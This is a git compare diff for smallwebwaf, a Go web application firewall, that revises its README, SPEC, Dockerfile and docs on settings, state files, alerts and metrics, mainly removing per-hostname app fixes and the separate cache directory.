Compare commits
2
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
387744ab50 | ||
|
|
78047e52a9 |
No files matched your search
@@ -37,6 +37,3 @@ These are the rules for agents working on this repository.
|
|||||||
- `192.168.0.0/16`.
|
- `192.168.0.0/16`.
|
||||||
- `SPEC.md` states that default.
|
- `SPEC.md` states that default.
|
||||||
- Forwarded headers count only when the peer is a trusted proxy.
|
- Forwarded headers count only when the peer is a trusted proxy.
|
||||||
- Every time is in UTC, whatever `TZ` or the host's time zone says.
|
|
||||||
- Every day is a date written `YYYY-MM-DD`, never a time.
|
|
||||||
- `SPEC.md` states this near its start.
|
|
||||||
+2
-2
@@ -222,8 +222,8 @@ RUN groupadd --system --gid 65532 sww \
|
|||||||
sww
|
sww
|
||||||
|
|
||||||
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
# The state files' directory, SWW_STATE_DIR by default, where a volume
|
||||||
# is mounted to keep them across deploys. At each start of waf, the run
|
# is mounted to keep them across deploys. The run script gives it to the
|
||||||
# script makes SWW_STATE_DIR if it is missing and gives it to the sww user.
|
# sww user at each start of waf.
|
||||||
RUN mkdir /var/lib/sww
|
RUN mkdir /var/lib/sww
|
||||||
|
|
||||||
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
# The default rule file, in SWW_RULES_DIR by default, where a Dockerfile
|
||||||
|
|||||||
@@ -278,7 +278,6 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
| `SWW_WAF_EXEMPT_PATHS` | empty | Path prefixes the Core Rule Set does not inspect. |
|
||||||
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
| `SWW_WAF_BODY_LIMIT` | `off` | How much of a request body the Core Rule Set reads, a size up to `64K`; `off` reads none. |
|
||||||
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
| `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` | unset | A file of Core Rule Set exclusions, as Coraza directives, that switch rules off for some fields or paths only. |
|
||||||
| `SWW_APPS` | unset | The apps each hostname serves, such as `git.example.com:gitea;blog.example.com:wordpress`; only those apps' fixes apply there. "Attack detection" lists the apps. Listing `forgejo` brings gitea's fixes too. Unset, every app's fixes apply to every hostname. |
|
|
||||||
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
| `SWW_BLOCKLIST_URLS` | empty | Blocklists to fetch, text files of addresses and netblocks one to a line, such as `https://www.spamhaus.org/drop/drop.txt`. |
|
||||||
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
| `SWW_BLOCKLIST_REFRESH` | `24h` | How long after a list was last tried it is fetched again, `1h` or more. |
|
||||||
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
| `SWW_BLOCKLIST_ACTION` | `deny` | What a client on a blocklist gets: `deny`, `limit:<percent>` of every limit, or `log`. |
|
||||||
@@ -294,8 +293,7 @@ Every setting the code reads, with its default:
|
|||||||
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
| `SWW_REPUTATION_TIMEOUT` | `2s` | How long a DNS blocklist query or an AbuseIPDB check may take. |
|
||||||
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
| `SWW_STATE_DIR` | `/var/lib/sww` | The directory of the state files, an absolute path. |
|
||||||
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
| `SWW_STATE_WRITE_DELAY` | `10s` | How long `bans.json` waits to be written after a ban is made, lifted or made permanent. |
|
||||||
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state and cache file is written. |
|
| `SWW_STATE_COUNTER_INTERVAL` | `15m` | How often every state file is written. |
|
||||||
| `SWW_CACHE_DIR` | `/var/cache/sww` | The directory of the cache files, an absolute path. |
|
|
||||||
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
| `SWW_LOG_LEVEL` | `info` | The least severe of `waf`'s own messages that are written: `debug`, `info`, `warn` or `error`; request lines are always written. |
|
||||||
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
| `SWW_LOG_REQUEST_HEADERS` | `accept,accept-language,accept-encoding,content-type,origin,range` | The request headers whose values the request log records; `Authorization` and `Cookie` are never recorded. |
|
||||||
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
| `SWW_LOG_REMOTE_URL` | unset | A syslog server that also gets every line `waf` writes: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://` with a host and a port. |
|
||||||
@@ -511,8 +509,7 @@ request reaches the app.
|
|||||||
|
|
||||||
`waf` takes the checks:
|
`waf` takes the checks:
|
||||||
|
|
||||||
3. The header limits, then the tag lists. A client in `SWW_ALLOW_NETS` skips the
|
3. The tag lists.
|
||||||
header limits.
|
|
||||||
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
4. The static lists, `SWW_ALLOW_NETS` and `SWW_DENY_NETS`.
|
||||||
5. The bans.
|
5. The bans.
|
||||||
6. The lookup of the client's AS number and country.
|
6. The lookup of the client's AS number and country.
|
||||||
@@ -524,7 +521,7 @@ request reaches the app.
|
|||||||
11. The rate limits.
|
11. The rate limits.
|
||||||
12. The trap paths.
|
12. The trap paths.
|
||||||
13. The rule files.
|
13. The rule files.
|
||||||
14. The Core Rule Set.
|
14. The header limits, and then the Core Rule Set.
|
||||||
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
15. The tag refusals again, so that `exploitsignature` can refuse too.
|
||||||
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
16. A path under `/_sww/` is answered `404`, so that the app never sees that
|
||||||
prefix.
|
prefix.
|
||||||
@@ -540,7 +537,7 @@ request reaches the app.
|
|||||||
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
A refused visitor is answered with `SWW_BAN_RESPONSE`. A `block` rule or a Core
|
||||||
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
Rule Set match answers `403` and bans nobody, since the Core Rule Set has false
|
||||||
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
positives; such refusals count toward `SWW_ERROR_BURST_THRESHOLD` instead. A
|
||||||
request over the header limits of step 3 is answered `431`, and bans nobody
|
request over the header limits of step 14 is answered `431`, and bans nobody
|
||||||
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
either. `rproxy` itself answers `405` to a method it does not pass on, and the
|
||||||
status for a size or time limit, such as `413` for a body too large.
|
status for a size or time limit, such as `413` for a body too large.
|
||||||
|
|
||||||
@@ -582,72 +579,49 @@ client's limits by tag. See "Request tags" in [`SPEC.md`](SPEC.md).
|
|||||||
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
headers of every request, and no body unless `SWW_WAF_BODY_LIMIT` is set. In
|
||||||
front of a code forge, bodies carry what people write and publish, which the
|
front of a code forge, bodies carry what people write and publish, which the
|
||||||
rules take for attacks.
|
rules take for attacks.
|
||||||
- `smallwebwaf` changes the Core Rule Set in five ways so that it lets ordinary
|
- `smallwebwaf` changes the Core Rule Set in fourteen ways so that ordinary
|
||||||
requests to a code forge through, such as git over HTTP and sign-in through
|
requests get through to the apps listed below. No setting undoes the changes;
|
||||||
Git Credential Manager. No setting undoes the changes; "Attack detection" in
|
"Attack detection" in [`SPEC.md`](SPEC.md) lists them.
|
||||||
[`SPEC.md`](SPEC.md) lists them.
|
- These apps work out of the box at the default settings, and their recorded
|
||||||
- Each supported app also has its own fixes, which let its ordinary requests
|
ordinary requests pass the Core Rule Set:
|
||||||
through. Its recorded ordinary requests pass the Core Rule Set at the default
|
- gitea: git over HTTP and sign-in through Git Credential Manager get
|
||||||
settings. The supported apps, by their names in `SWW_APPS`, are:
|
through. On gitea's own paths, its searches, file names and branch names
|
||||||
- `gitea`, whose fixes let its container registry, searches, file names,
|
do too.
|
||||||
branch names and repository names through;
|
- WordPress: saving a post from the block editor gets through. On
|
||||||
- `forgejo`, a fork of gitea, which gets gitea's fixes too, and whose own
|
WordPress's own paths, its searches, names and file names do too.
|
||||||
fixes let its searches through;
|
- Drupal: on Drupal's own paths, the page to return to, its searches and its
|
||||||
- `wordpress`, whose fixes let through its searches, its names, its file
|
names get through.
|
||||||
names and a post saved from the block editor;
|
- MediaWiki: on MediaWiki's own paths, its searches, page titles, names and
|
||||||
- `drupal`, whose fixes let through the page to return to, its searches and
|
wikitext get through.
|
||||||
its names;
|
- Mastodon: on Mastodon's own paths, its searches, names, email addresses,
|
||||||
- `mediawiki`, whose fixes let through its searches, its page titles, its
|
posts and deliveries from other servers get through.
|
||||||
names and its wikitext;
|
- Vaultwarden: on Vaultwarden's own paths, its names, password hints, email
|
||||||
- `mastodon`, whose fixes let through its searches, its names, its email
|
addresses and encrypted file names get through.
|
||||||
addresses, its posts and deliveries from other servers;
|
- Nextcloud: its sync client gets through. On Nextcloud's own paths, its
|
||||||
- `vaultwarden`, whose fixes let through its names, its password hints, its
|
WebDAV methods, searches, file names, account names, comments and
|
||||||
email addresses and its encrypted file names;
|
documents do too.
|
||||||
- `nextcloud`, whose fixes let through its sync client, its WebDAV methods,
|
|
||||||
its searches, its file names, its account names, its comments and its
|
|
||||||
documents;
|
|
||||||
- `ghost`, whose fixes let through its filters, its searches, its names, its
|
|
||||||
email addresses, its code injection, its settings and a post saved from
|
|
||||||
its editor, HTML included.
|
|
||||||
- A random password, as a password manager makes one, gets through these forms:
|
- A random password, as a password manager makes one, gets through these forms:
|
||||||
- signing in, signing up, and changing or resetting a password, on
|
- signing in, signing up, and changing or resetting a password, on
|
||||||
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud, gitea and Ghost;
|
WordPress, Drupal, MediaWiki, Mastodon, Nextcloud and gitea;
|
||||||
- moving or deleting the account, on Mastodon;
|
- moving or deleting the account, on Mastodon;
|
||||||
- deleting the account, on gitea;
|
- deleting the account, on gitea;
|
||||||
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
- the admin page, on Vaultwarden, whose apps send a hash of the master
|
||||||
password, not the password itself.
|
password, not the password itself.
|
||||||
- `SWW_APPS` names the apps each hostname serves. A hostname gets only its own
|
|
||||||
apps' fixes. A hostname `SWW_APPS` does not list gets none. Unset, every app's
|
|
||||||
fixes apply to every hostname.
|
|
||||||
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` switches single rules off for an app's own
|
||||||
fields or paths.
|
fields or paths.
|
||||||
- Rule files are plain text, one rule to a line, edited by hand and read again
|
- Rule files are plain text, one rule to a line, edited by hand and read again
|
||||||
while `waf` runs. The image ships one file of probes no real visitor sends
|
while `waf` runs. The image ships one file of probes no real visitor sends
|
||||||
(see [`docs/rules.md`](docs/rules.md)).
|
(see [`docs/rules.md`](docs/rules.md)).
|
||||||
|
|
||||||
### State and cache files
|
### State files
|
||||||
|
|
||||||
`waf` keeps everything in memory, and JSON files hold a copy:
|
`waf` keeps everything in memory, and the five JSON files in `SWW_STATE_DIR`
|
||||||
|
hold a copy: `bans.json`, `clients.json`, `lookups.json`, `reputation.json` and
|
||||||
- The state files, in `SWW_STATE_DIR`, hold what cannot be fetched again:
|
`alerts.json`. Each is written whole, to a temporary file renamed over the real
|
||||||
- `bans.json`;
|
one, so a crash leaves a complete file. `waf` notices a file edited on disk and
|
||||||
- `clients.json`;
|
takes the edit in; an edit that does not parse is set aside as `<name>.bad`, and
|
||||||
- `abuseipdb-checks-spent.json`;
|
never stops the running process (see
|
||||||
- `alerts.json`.
|
[`docs/state-files.md`](docs/state-files.md)).
|
||||||
- The cache files, in `SWW_CACHE_DIR`, hold answers from outside services:
|
|
||||||
- `lookups.json`, from GeoJS;
|
|
||||||
- `lists.json`, the lists fetched by URL;
|
|
||||||
- `dnsbl.json`, from the DNS blocklists;
|
|
||||||
- `abuseipdb-scores.json`, from AbuseIPDB;
|
|
||||||
- `routewatch.json`, from routewatch.
|
|
||||||
|
|
||||||
Back up the state directory. The cache directory can be left out of backups: a
|
|
||||||
lost cache file starts empty and fills again.
|
|
||||||
|
|
||||||
Each file is written whole, to a temporary file renamed over the real one, so a
|
|
||||||
crash leaves a complete file. `waf` notices a file edited on disk and takes the
|
|
||||||
edit in. An edit that does not parse is set aside as `<name>.bad`, and never
|
|
||||||
stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|
||||||
|
|
||||||
### The image and its processes
|
### The image and its processes
|
||||||
|
|
||||||
@@ -658,7 +632,7 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
- runit, a service supervisor, runs `sww` as the `sww` user (uid and gid 65532)
|
||||||
and starts it again when it exits. The `run` script of `waf` gives the state
|
and starts it again when it exits. The `run` script of `waf` gives the state
|
||||||
directory to the `sww` user at each start, so a volume needs no change of
|
directory to the `sww` user at each start, so a volume needs no change of
|
||||||
owner. It makes the cache directory for that user too.
|
owner.
|
||||||
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
|
- `rproxy` and `waf` use no token between them. `waf`'s own endpoints, under
|
||||||
`/_sww/`, are for your admin tools and your metrics collector, at its own
|
`/_sww/`, are for your admin tools and your metrics collector, at its own
|
||||||
address on the private network; nothing routes the internet there.
|
address on the private network; nothing routes the internet there.
|
||||||
@@ -683,8 +657,8 @@ stops the running process (see [`docs/state-files.md`](docs/state-files.md)).
|
|||||||
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
`internal/routewatch`, `internal/anomaly` and `internal/alerts`: one check or
|
||||||
source each.
|
source each.
|
||||||
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
- `internal/state`, `internal/requestlog`, `internal/remotelog` and
|
||||||
`internal/metrics`: the state and cache files, the log lines, the syslog
|
`internal/metrics`: the state files, the log lines, the syslog sender and the
|
||||||
sender and the metrics.
|
metrics.
|
||||||
|
|
||||||
## Rationale
|
## Rationale
|
||||||
|
|
||||||
@@ -718,8 +692,7 @@ on the host.
|
|||||||
- `script/bootstrap`: installs on the host what the other scripts need, with
|
- `script/bootstrap`: installs on the host what the other scripts need, with
|
||||||
`make bootstrap`:
|
`make bootstrap`:
|
||||||
- `make`, `git` and `curl`;
|
- `make`, `git` and `curl`;
|
||||||
- Go, for `gofmt` and to build `golines`;
|
- Go, for `gofmt`;
|
||||||
- `golines`, at a pinned version, with `go install`;
|
|
||||||
- node, yarn and prettier.
|
- node, yarn and prettier.
|
||||||
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
- `script/setup`: readies a fresh clone: `script/bootstrap`, then
|
||||||
`script/install-precommit`. `make setup`.
|
`script/install-precommit`. `make setup`.
|
||||||
@@ -736,11 +709,8 @@ on the host.
|
|||||||
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
the `tidy` stage of the `Dockerfile`. `make tidy`.
|
||||||
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
- `script/lint`: runs golangci-lint, as the `lint` phase of the `Dockerfile`.
|
||||||
`make lint`.
|
`make lint`.
|
||||||
- `script/fmt`: formats the Go code with `gofmt` and then `golines -m 77`, and
|
- `script/fmt`: formats the Go code with `gofmt` and the Markdown with prettier.
|
||||||
the Markdown with prettier. `make fmt`.
|
`make fmt`.
|
||||||
- `golines` wraps code at 77 columns but leaves comments and strings alone.
|
|
||||||
Wrap those by hand.
|
|
||||||
- The linter fails only lines longer than 88 columns.
|
|
||||||
- `script/fmt-check`: checks the formatting and changes nothing.
|
- `script/fmt-check`: checks the formatting and changes nothing.
|
||||||
`make fmt-check`.
|
`make fmt-check`.
|
||||||
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
- `script/check`: runs `script/test`, `script/lint` and `script/fmt-check`.
|
||||||
@@ -768,7 +738,6 @@ on the host.
|
|||||||
`http://127.0.0.1:8081`;
|
`http://127.0.0.1:8081`;
|
||||||
- `waf` listens on port 8090;
|
- `waf` listens on port 8090;
|
||||||
- its state files go in `bin/state`;
|
- its state files go in `bin/state`;
|
||||||
- its cache files go in `bin/cache`;
|
|
||||||
- its rule files are those of `share/rules.d`.
|
- its rule files are those of `share/rules.d`.
|
||||||
- `script/example-app`: builds the image and the example app
|
- `script/example-app`: builds the image and the example app
|
||||||
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
(`deploy/example-app`) on it, runs the app with `rproxy` in its container and
|
||||||
@@ -805,8 +774,8 @@ on the host.
|
|||||||
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
- [`docs/alerts.md`](docs/alerts.md): the alert events and what each destination
|
||||||
gets.
|
gets.
|
||||||
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
- [`docs/metrics.md`](docs/metrics.md): the metrics.
|
||||||
- [`docs/state-files.md`](docs/state-files.md): the state and cache files and
|
- [`docs/state-files.md`](docs/state-files.md): the state files and what each
|
||||||
what each holds.
|
holds.
|
||||||
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
- [`docs/image.md`](docs/image.md): what the image holds and how it is pinned.
|
||||||
|
|
||||||
## License
|
## License
|
||||||
|
|||||||
+1
-2
@@ -23,8 +23,7 @@ back or dropped.
|
|||||||
- the day's AbuseIPDB checks used up.
|
- the day's AbuseIPDB checks used up.
|
||||||
- `file_error`: one of:
|
- `file_error`: one of:
|
||||||
- a rule file or state file edit with an error;
|
- a rule file or state file edit with an error;
|
||||||
- a cache file that does not parse, at start or after an edit;
|
- a state file that cannot be written;
|
||||||
- a state file or cache file that cannot be written;
|
|
||||||
- a replacement lookup database that cannot be read.
|
- a replacement lookup database that cannot be read.
|
||||||
- `summary`: the hourly summary of alerts held back.
|
- `summary`: the hourly summary of alerts held back.
|
||||||
|
|
||||||
|
|||||||
+1
-2
@@ -19,8 +19,7 @@ way.
|
|||||||
- The service directory `/etc/service/sww`, with the `run` script
|
- The service directory `/etc/service/sww`, with the `run` script
|
||||||
`share/sww.run`.
|
`share/sww.run`.
|
||||||
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
- `/var/lib/sww` for `waf`'s state files, and `/etc/sww/rules.d` with the
|
||||||
default rule file `share/rules.d/00-default.rules`. The `run` script makes
|
default rule file `share/rules.d/00-default.rules`.
|
||||||
`SWW_STATE_DIR` when it is missing.
|
|
||||||
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
- `EXPOSE 8080`, and the `HEALTHCHECK` that runs `sww healthcheck`.
|
||||||
|
|
||||||
## Pins
|
## Pins
|
||||||
|
|||||||
+2
-2
@@ -58,9 +58,9 @@ By `source`: each list's URL, each zone, and `abuseipdb`:
|
|||||||
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
- `sww_reputation_last_fetch_timestamp_seconds`, for a list;
|
||||||
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
- `sww_reputation_daily_budget_remaining`, for AbuseIPDB.
|
||||||
|
|
||||||
## State and cache files
|
## State files
|
||||||
|
|
||||||
By `file`, the name of a state or cache file:
|
By `file`:
|
||||||
|
|
||||||
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
- `sww_state_file_writes_total`, `sww_state_file_write_failures_total`,
|
||||||
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
`sww_state_file_last_write_timestamp_seconds` and `sww_state_file_size_bytes`;
|
||||||
|
|||||||
+4
-33
@@ -50,16 +50,14 @@ the two (see "The image's command" below).
|
|||||||
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least
|
||||||
32 characters.
|
32 characters.
|
||||||
|
|
||||||
## State and cache files
|
## State files
|
||||||
|
|
||||||
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an
|
||||||
absolute path that can be written. The image's `run` script makes it.
|
absolute path that exists and can be written.
|
||||||
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
|
||||||
written after a ban is made, lifted or made permanent. A duration.
|
written after a ban is made, lifted or made permanent. A duration.
|
||||||
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache
|
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state file is
|
||||||
file is written. A duration.
|
written. A duration.
|
||||||
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files,
|
|
||||||
an absolute path that can be written. The image's `run` script makes it.
|
|
||||||
|
|
||||||
## Logging
|
## Logging
|
||||||
|
|
||||||
@@ -256,33 +254,6 @@ the request first.
|
|||||||
a range. So does a directive that removes or changes rules as the file loads,
|
a range. So does a directive that removes or changes rules as the file loads,
|
||||||
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded
|
||||||
yet. It has no `_FILE` form.
|
yet. It has no `_FILE` form.
|
||||||
- `SWW_APPS` (default unset): the apps each hostname serves. A request gets the
|
|
||||||
fixes of its hostname's apps only (see "Attack detection" in
|
|
||||||
[`SPEC.md`](../SPEC.md)).
|
|
||||||
- Entries are separated by semicolons. Each is a hostname, a colon, then one
|
|
||||||
or more apps separated by commas, for example
|
|
||||||
`git.example.com:gitea;blog.example.com:wordpress`.
|
|
||||||
- The supported apps are:
|
|
||||||
- `drupal`;
|
|
||||||
- `forgejo`, which gets gitea's fixes too;
|
|
||||||
- `ghost`;
|
|
||||||
- `gitea`;
|
|
||||||
- `mastodon`;
|
|
||||||
- `mediawiki`;
|
|
||||||
- `nextcloud`;
|
|
||||||
- `vaultwarden`;
|
|
||||||
- `wordpress`.
|
|
||||||
- The request's `Host` is matched by exact name, without its port and
|
|
||||||
without regard to case. There are no wildcards.
|
|
||||||
- A hostname not listed gets no app's fixes. Set empty, `SWW_APPS` lists no
|
|
||||||
hostname.
|
|
||||||
- Unset, every app's fixes apply to every hostname.
|
|
||||||
- Any of these mistakes stops the start:
|
|
||||||
- an unknown app;
|
|
||||||
- a hostname that is not a DNS name, such as `*.example.com`;
|
|
||||||
- a hostname listed twice;
|
|
||||||
- an app listed twice for one hostname;
|
|
||||||
- an entry without a colon.
|
|
||||||
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
- `SWW_ERROR_BURST_THRESHOLD` (default `30`): the most refusals a client may get
|
||||||
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
in a minute from a rule file, a trap path or the Core Rule Set, a count or
|
||||||
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
`off`. The next one bans the client (see "Attack detection" in `SPEC.md`).
|
||||||
|
|||||||
+18
-73
@@ -1,23 +1,8 @@
|
|||||||
# State and cache files
|
# State files
|
||||||
|
|
||||||
The JSON files `waf` keeps, and what each holds. "Persistent state" in
|
The five JSON files in `SWW_STATE_DIR`, and what each holds. "Persistent state"
|
||||||
[`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has a
|
in [`SPEC.md`](../SPEC.md) says how they are written, read and edited. Each has
|
||||||
top-level `version` of 1.
|
a top-level `version` of 1.
|
||||||
|
|
||||||
- The state files are in `SWW_STATE_DIR`, `/var/lib/sww` by default. They hold
|
|
||||||
what cannot be fetched again, so back them up:
|
|
||||||
- `bans.json`;
|
|
||||||
- `clients.json`;
|
|
||||||
- `abuseipdb-checks-spent.json`;
|
|
||||||
- `alerts.json`.
|
|
||||||
- The cache files are in `SWW_CACHE_DIR`, `/var/cache/sww` by default. They hold
|
|
||||||
answers from outside services, which are asked again when a file is lost, so
|
|
||||||
the directory can be left out of backups:
|
|
||||||
- `lookups.json`;
|
|
||||||
- `lists.json`;
|
|
||||||
- `dnsbl.json`;
|
|
||||||
- `abuseipdb-scores.json`;
|
|
||||||
- `routewatch.json`.
|
|
||||||
|
|
||||||
## `bans.json`
|
## `bans.json`
|
||||||
|
|
||||||
@@ -82,13 +67,21 @@ since it was first seen:
|
|||||||
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
`blocked_by_core_rule_set`. A file may also hold `token_refused`, which is
|
||||||
kept, and which nothing adds to.
|
kept, and which nothing adds to.
|
||||||
|
|
||||||
## `abuseipdb-checks-spent.json`
|
## `lookups.json`
|
||||||
|
|
||||||
The AbuseIPDB checks spent today, so that a restart does not spend the daily
|
GeoJS answers, one per line:
|
||||||
budget again:
|
|
||||||
|
|
||||||
- `day`: the day, in UTC;
|
- `client`;
|
||||||
- `spent`: the checks spent on it.
|
- `asn`, `as_name` and `country`;
|
||||||
|
- `answered`: when GeoJS answered;
|
||||||
|
- `used`: when the answer was last used.
|
||||||
|
|
||||||
|
## `reputation.json`
|
||||||
|
|
||||||
|
- the last good copy of each list fetched from a URL, with when it was last
|
||||||
|
tried;
|
||||||
|
- each DNS blocklist verdict still in use;
|
||||||
|
- AbuseIPDB's scores, and the checks spent today.
|
||||||
|
|
||||||
## `alerts.json`
|
## `alerts.json`
|
||||||
|
|
||||||
@@ -98,51 +91,6 @@ budget again:
|
|||||||
- the alerts sent and held back in the current hour;
|
- the alerts sent and held back in the current hour;
|
||||||
- the alerts waiting for each destination.
|
- the alerts waiting for each destination.
|
||||||
|
|
||||||
## `lookups.json`
|
|
||||||
|
|
||||||
A cache file. GeoJS answers, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `asn`, `as_name` and `country`;
|
|
||||||
- `answered`: when GeoJS answered;
|
|
||||||
- `used`: when the answer was last used.
|
|
||||||
|
|
||||||
## `lists.json`
|
|
||||||
|
|
||||||
A cache file. The last good copy of each list fetched from a URL, with when it
|
|
||||||
was last tried:
|
|
||||||
|
|
||||||
- `url`;
|
|
||||||
- `tried`: when it was last fetched or tried;
|
|
||||||
- `fetched` and `lines`: when the last good copy was fetched, and its lines,
|
|
||||||
comment lines included.
|
|
||||||
|
|
||||||
## `dnsbl.json`
|
|
||||||
|
|
||||||
A cache file. Each DNS blocklist verdict still in use, one per line:
|
|
||||||
|
|
||||||
- `zone` and `client`;
|
|
||||||
- `listed`: whether the zone lists the client;
|
|
||||||
- `fetched`: when the zone answered.
|
|
||||||
|
|
||||||
## `abuseipdb-scores.json`
|
|
||||||
|
|
||||||
A cache file. AbuseIPDB's scores still in use, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `score`: from 0 to 100;
|
|
||||||
- `fetched`: when AbuseIPDB answered.
|
|
||||||
|
|
||||||
## `routewatch.json`
|
|
||||||
|
|
||||||
A cache file. routewatch's answers from the last hour, one per line:
|
|
||||||
|
|
||||||
- `client`;
|
|
||||||
- `netblock`: the netblock the client's address is announced in, empty for an
|
|
||||||
address without a live route;
|
|
||||||
- `asn`: the number of the AS that originates the netblock, 0 for none;
|
|
||||||
- `answered`: when routewatch answered.
|
|
||||||
|
|
||||||
## Sizes
|
## Sizes
|
||||||
|
|
||||||
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
- `clients.json`: about 1 KiB per client, about 20 MiB at the default
|
||||||
@@ -154,7 +102,4 @@ A cache file. routewatch's answers from the last hour, one per line:
|
|||||||
more.
|
more.
|
||||||
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
- `lookups.json`: about 150 bytes per answer, under 1.5 GiB of writes a day when
|
||||||
full.
|
full.
|
||||||
- `routewatch.json`: about 120 bytes per answer, at most about 12 MiB.
|
- `reputation.json` and `alerts.json`: usually a few MiB or less.
|
||||||
- `abuseipdb-checks-spent.json`: a few bytes.
|
|
||||||
- `lists.json`, `dnsbl.json`, `abuseipdb-scores.json` and `alerts.json`: usually
|
|
||||||
a few MiB or less.
|
|
||||||
@@ -3,7 +3,6 @@ module sneak.berlin/go/smallwebwaf
|
|||||||
go 1.26.0
|
go 1.26.0
|
||||||
|
|
||||||
require (
|
require (
|
||||||
cloud.google.com/go v0.123.0
|
|
||||||
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
|
||||||
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
|
github.com/corazawaf/coraza/v3 v3.8.2-0.20261022102553-d028be399c68
|
||||||
github.com/fsnotify/fsnotify v1.10.1
|
github.com/fsnotify/fsnotify v1.10.1
|
||||||
|
|||||||
@@ -1,5 +1,3 @@
|
|||||||
cloud.google.com/go v0.123.0 h1:2NAUJwPR47q+E35uaJeYoNhuNEM9kM8SjgRgdeOJUSE=
|
|
||||||
cloud.google.com/go v0.123.0/go.mod h1:xBoMV08QcqUGuPW65Qfm1o9Y4zKZBpGS+7bImXLTAZU=
|
|
||||||
github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
|
